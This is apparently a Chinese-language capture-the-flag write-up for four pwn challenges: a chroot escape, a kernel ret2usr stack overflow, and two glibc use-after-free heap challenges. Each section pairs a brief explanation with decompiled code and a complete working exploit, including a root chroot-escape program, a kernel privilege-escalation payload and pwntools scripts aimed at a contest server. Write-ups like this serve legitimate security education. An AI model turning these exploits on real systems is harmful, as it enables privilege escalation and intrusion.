题目附件https://github.com/nyyyddddn/ctf/tree/main/srcrf_pwn
chroot escape 啊这,咱没有想到解出来的人很少,因为chroot escape相关的文章网上有很多,这里挑重点说一下,更详细的信息可以看这里
https://web.archive.org/web/20160127150916/http://www.bpfh.net/simes/computing/chroot-break.html
chroot本质上是通过chroot系统调用去更改进程的根目录位置,以限制该进程对系统其他部分的访问。然而,在具有root权限的情况下,可以通过chdir和chroot实现二次逃逸。具体做法是,通过chdir系统调用将当前目录更改成跟目录,然后使用chroot将根目录重新设置为当前工作目录。从而恢复对整个文件系统的访问。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <sys/stat.h> #include <stdlib.h> #include <unistd.h> int main (void ) { mkdir("sub-dir" , 0755 ); chroot("sub-dir" ); for (int i = 0 ; i < 10 ; i++) { chdir(".." ); } chroot("." ); system("/bin/bash" ); }
需要静态链接或者是内联汇编,因为容器里没有装动态链接库
如何上传文件??可以先将数据编码,然后通过终端将编码的数据传上去后再解码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *import itertoolsimport ctypesimport base64import sysimport oscontext(os='linux' , arch='amd64' ) context.log_level = 'debug' is_debug = 0 IP = "110.40.35.62" PORT = 32794 def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) def read_file (filename ): with open (filename, 'r' ) as file: return file.read() p = connect() cmd = '$ ' os.system('base64 exp > exp.b64' ) sl('cat <<EOF > exp.b64' ) sl(read_file('exp.b64' )) sl('EOF' ) sl('base64 -d exp.b64 > exp' ) sl('chmod +x ./exp' ) p.interactive()
krop kernel pwn的目的是提权,没有做过kernel pwn的师傅可以看看ctfwiki的knowledge还有ret2usr那一章 https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/
通过分析 qemu的启动脚本可以知道环境开了什么保护,程序没有开启kaslr smap smep这些保护,-initrd initramfs.cpio 是选择 initramfs.cpio这个文件作为文件系统,题目关键的逻辑在这里面
1 2 3 4 5 6 7 8 9 10 11 12 #!/bin/bash cd / timeout --foreground 600 qemu-system-x86_64 \ -m 128M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64
环境里面安装了一个vuln.ko的驱动,需要做的事情是逆向分析vuln.ko中有什么漏洞,然后使用c编写和vuln.ko交互的逻辑去利用漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/bin/sh echo "[*] Init script" mkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs none /dev mount -t debugfs none /sys/kernel/debug mount -t tmpfs none /tmp insmod /vuln.ko chmod 644 /dev/simple_ret2usr echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict chmod 700 /flag echo "[*] Finish..." echo "IF9fICAgICAgX18gICAgICAgLl9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfXyAgICBfX19fXyAKLyAgXCAgICAvICBcIF9fX18gfCAgfCAgIF9fX18gIF9fX18gICBfX19fXyAgIF9fX18gICBfLyAgfF8gX19fXyAgICAgX19fX19fX19fX19fICBfX19fXy8gIHxfXy8gX19fX1wKXCAgIFwvXC8gICBfLyBfXyBcfCAgfCBfLyBfX19cLyAgXyBcIC8gICAgIFxfLyBfXyBcICBcICAgX18vICBfIFwgICAvICBfX19cXyAgX18gXy8gX19fXCAgIF9fXCAgIF9fXCAKIFwgICAgICAgIC9cICBfX18vfCAgfF9cICBcX18oICA8Xz4gfCAgWSBZICBcICBfX18vICAgfCAgfCggIDxfPiApICBcX19fIFwgfCAgfCBcXCAgXF9fX3wgIHwgIHwgIHwgICAKICBcX18vXCAgLyAgXF9fXyAgfF9fX18vXF9fXyAgXF9fX18vfF9ffF98ICAvXF9fXyAgPiAgfF9ffCBcX19fXy8gIC9fX19fICA+fF9ffCAgIFxfX18gIHxfX3wgIHxfX3wgICAKICAgICAgIFwvX18gICAgIFwvICAgICAgICAgIF9fICAgICAgICAgICAgXC8gICAgIFwvICAgICAgICAgICAgICBfX19fXy5fXy8gICAgICAgICAgICBcL19fICAgICAgICAgICAKICBfX19fX18vICB8X19fX19fIF9fX19fX19fLyAgfF8gICBfX18uX18uIF9fX18gIF9fIF9fX19fX19fXyAgXy8gX19fX3xfX19fX19fX18gX19fX19fLyAgfF8gICAgICAgICAKIC8gIF9fX1wgICBfX1xfXyAgXFxfICBfXyBcICAgX19cIDwgICB8ICB8LyAgXyBcfCAgfCAgXF8gIF9fIFwgXCAgIF9fXHwgIFxfICBfXyAvICBfX19cICAgX19cICAgICAgICAKIFxfX18gXCB8ICB8ICAvIF9fIFx8ICB8IFwvfCAgfCAgICBcX19fICAoICA8Xz4gfCAgfCAgL3wgIHwgXC8gIHwgIHwgIHwgIHx8ICB8IFxcX19fIFwgfCAgfCAgICAgICAgICAKL19fX18gID58X198IChfX19fICB8X198ICAgfF9ffCAgICAvIF9fX198XF9fX18vfF9fX18vIHxfX3wgICAgIHxfX3wgIHxfX3x8X198IC9fX19fICA+fF9ffCAgICAgICAgICAKIF9fICBcLyAgICAgICAgICAgXC8gICAgICAgICAgICAgLl9fLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICAgICAgICAgICAKfCAgfCBfXyBfX19fX19fX19fXyAgX19fXyAgIF9fX18gfCAgfCAgIF9fX19fX19fICBfICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgfC8gXy8gX18gXF8gIF9fIFwvICAgIFxfLyBfXyBcfCAgfCAgIFxfX19fIFwgXC8gXC8gLyAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgICA8XCAgX19fL3wgIHwgXHwgICB8ICBcICBfX18vfCAgfF9fIHwgIHxfPiBcICAgICB8ICAgfCAgXCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfF9ffF8gXFxfX18gIHxfX3wgIHxfX198ICAvXF9fXyAgfF9fX18vIHwgICBfXy8gXC9cXy98X19ffCAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICBcLyAgICBcLyAgICAgICAgICAgXC8gICAgIFwvICAgICAgIHxfX3wgICAgICAgICAgICAgIFwvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA=" | base64 -d setsid /bin/cttyhack setuidgid 1000 /bin/sh
在初始化的位置注册了一个misc设备,然后定义了一个针对ioctl操作的函数,copy_from_user这里存在一个栈溢出,然后因为没有开启kaslr的保护,地址都是固定的,可以使用ret2usr去提权,ret2usr的攻击方式是在内核态执行commit_creds(prepare_kernel_cred(NULL))更改cred结构体为root权限的cred然后使用 swapgs和iret返回到用户态执行 system binsh提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 init_module() { unsigned int v0; // r12d v0 = misc_register(&my_device); if ( v0 ) printk(&unk_C7); else printk(&unk_DC); return v0; } __int64 __fastcall device_ioctl(__int64 a1, __int64 a2, __int64 a3) { __int64 v4; // [rsp+0h] [rbp-100h] BYREF copy_from_user(&v4, a3, 512LL); printk(&unk_80); return -14LL; }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define KERNCALL __attribute__((regparm(3))) void * (*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xffffffff810b9d80 ;void (*commit_creds)(void *) KERNCALL = (void *) 0xffffffff810b99d0 ;unsigned long user_cs, user_ss, user_rflags, user_sp;void save_usermode_status () { asm ( "movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory" ); } void get_shell () { system("/bin/sh" ); } void payload () { commit_creds(prepare_kernel_cred(0 )); asm ( "pushq %0;" "pushq %1;" "pushq %2;" "pushq %3;" "pushq $get_shell;" "swapgs;" "iretq;" ::"m" (user_ss), "m" (user_sp), "m" (user_rflags), "m" (user_cs)); } int main () { void *buf[0x100 ]; save_usermode_status(); int fd = open("/dev/baby" , 0 ); if (fd < 0 ) { printf ("[-] Failed to open driver\n" ); exit (-1 ); } for (int i=0 ; i<0x100 ; i++) { buf[i] = &payload; } ioctl(fd, 0x6001 , buf); }
Master_of_memory_management 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int choice; // [rsp+Ch] [rbp-4h] init(argc, argv, envp); while ( 1 ) { while ( 1 ) { menu(); choice = get_choice(); if ( choice != 1 ) break ; create_chunk(); } switch ( choice ) { case 2 : delete(); break ; case 3 : show(); break ; case 4 : edit(); break ; default: puts("[-] exit()" ); exit(0 ); } } } unsigned __int64 create_chunk() { _DWORD size[3 ]; // [rsp+4h] [rbp-Ch] BYREF *(_QWORD *)&size[1 ] = __readfsqword(0x28u); size[0 ] = 0 ; printf("size:" ); __isoc99_scanf("%u" , size); chunklist = malloc(size[0 ]); if ( !chunklist ) { puts("Error" ); exit(1 ); } return *(_QWORD *)&size[1 ] - __readfsqword(0x28u); } void delete() { free(chunklist); } ssize_t show() { printf("-->" ); return write(1 , chunklist, 0x10uLL); } ssize_t edit() { return read(0 , chunklist, 0x10uLL); }
存在uaf,但是只有一个位置存储地址,每次申请堆块都会更新这个位置,那?该怎么样申请一个unsortedbin呢?直接申请出来free掉后又会和top chunk合并。通过伪造fake chunk头保证fakechunk和nextchunk是衔接的, double free让 chunklist中有fakechunk的地址,清空tcache key去绕过tcache free的检查。填满tcache后就能申请出unsortedbin了
那怎么劫持控制流呢?可以通过puts的利用链 写libc中的 strlen got表来劫持控制流,通过tcache poison去修改 chunklist的指针可以实现任意地址写,然后写backdoor就好了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 from pwn import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "110.40.35.62" PORT = 32827 elf = context.binary = ELF('./vuln' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) p = connect() def create (size ): sla(">>>" ,"1" ) sla("size" ,str (size)) def delete (): sl("2" ) def show (): sla(">>>" ,"3" ) def edit (content ): sla(">>>" ,"4" ) s(content) create(0x58 ) delete() show() ru("-->" ) leak = u64(r(5 ).ljust(8 ,b'\x00' )) heap_base = leak << 12 success(f"heap_base ->{hex (heap_base)} " ) create(0x58 ) create(0xa8 ) edit(p64(0 ) + p64(0xa1 )) create(0x48 ) delete() edit(p64(0 ) + p64(0 )) delete() target = heap_base + 0x310 pos = heap_base + 0x3b0 edit(p64(target ^ (pos >> 12 ))) create(0x48 ) create(0x48 ) delete() edit(p64(0 ) + p64(0 )) delete() edit(p64(0 ) + p64(0 )) delete() edit(p64(0 ) + p64(0 )) delete() edit(p64(0 ) + p64(0 )) delete() edit(p64(0 ) + p64(0 )) delete() edit(p64(0 ) + p64(0 )) delete() edit(p64(0 ) + p64(0 )) delete() show() ru("-->" ) libc_base = u64(r(6 ).ljust(8 ,b'\x00' )) - (0x7acb8261ace0 - 0x7acb82400000 ) success(hex (libc_base)) strlen_got = libc_base + 0x00000000021A098 backdoor = 0x00000000040149C chunklist = 0x000000000404050 create(0x158 ) delete() edit(p64(0 ) + p64(0 )) delete() pos = heap_base + (0x2040400 - 0x2040000 ) edit(p64(chunklist ^ (pos >> 12 ))) create(0x158 ) create(0x158 ) edit(p64(strlen_got)) edit(p64(backdoor)) p.interactive()
uaf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ unsigned int choice; // [rsp+Ch] [rbp-4h] init(); while ( 1 ) { menu(); choice = get_uint32(); switch ( choice ) { case 1u: add(); break ; case 2u: delete(); break ; case 3u: edit(); break ; } } } void __cdecl add() { unsigned int idx; // [rsp+8h] [rbp-8h] unsigned int size; // [rsp+Ch] [rbp-4h] idx = get_uint32(); if ( idx > 0xFF ) exit(1 ); size = get_uint32(); chunklist[idx] = malloc(size); sizelist[idx] = size; } void __cdecl delete() { unsigned int idx; // [rsp+Ch] [rbp-4h] idx = get_uint32(); if ( idx > 0xFF ) exit(1 ); if ( chunklist[idx] ) free(chunklist[idx]); } void __cdecl edit() { unsigned int idx; // [rsp+Ch] [rbp-4h] idx = get_uint32(); if ( idx > 0xFF ) exit(1 ); if ( chunklist[idx] ) read(0 , chunklist[idx], sizelist[idx]); }
glibc 2.31没有 safelink的保护,任意地址写的原语不需要泄露堆地址就可以实现,将stdout链入tcache后 修改stdout,可以覆盖writebase低位字节去泄露地址,也可以通过控制三个写指针精准的泄露某个地址,泄露地址后 修改freehook为 system最后去free一个内容为binsh的堆就能getshell
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 from pwn import *import itertoolsimport ctypescontext(os='linux' , arch='amd64' , log_level='debug' ) is_debug = 0 IP = "110.40.35.62" PORT = 32826 elf = context.binary = ELF('./vuln' ) libc = elf.libc def connect (): return remote(IP, PORT) if not is_debug else process() g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None : p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :]) p = connect() def add (idx,size ): sla(">>>" ,"1" ) sl(str (idx)) sl(str (size)) def delete (idx ): sla(">>>" ,"2" ) sl(str (idx)) def edit (idx,content ): sla(">>>" ,"3" ) sl(str (idx)) s(content) stdout = 0x404020 for i in range (4 ): add(i,0x58 ) for i in range (4 ): delete(i) edit(3 ,p64(stdout)) add(4 ,0x58 ) add(5 ,0x58 ) add(6 ,0x58 ) payload = flat([0xfbad1800 ,0 ,0 ,0 ,elf.got['free' ],elf.got['free' ]+0x8 ,elf.got['free' ]]) edit(6 ,payload) r(1 ) leak = u64(r(6 ).ljust(8 ,b'\x00' )) libc_base = leak - libc.sym['free' ] success(f"free_addr -> {hex (leak)} " ) success(f"libc_base ->{hex (libc_base)} " ) system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ] for i in range (7 ,7 + 3 ): add(i,0x68 ) for i in range (7 ,7 + 3 ): delete(i) edit(9 ,p64(free_hook)) add(10 ,0x68 ) add(11 ,0x68 ) edit(10 ,b'/bin/sh' ) edit(11 ,p64(system)) delete(10 ) p.interactive()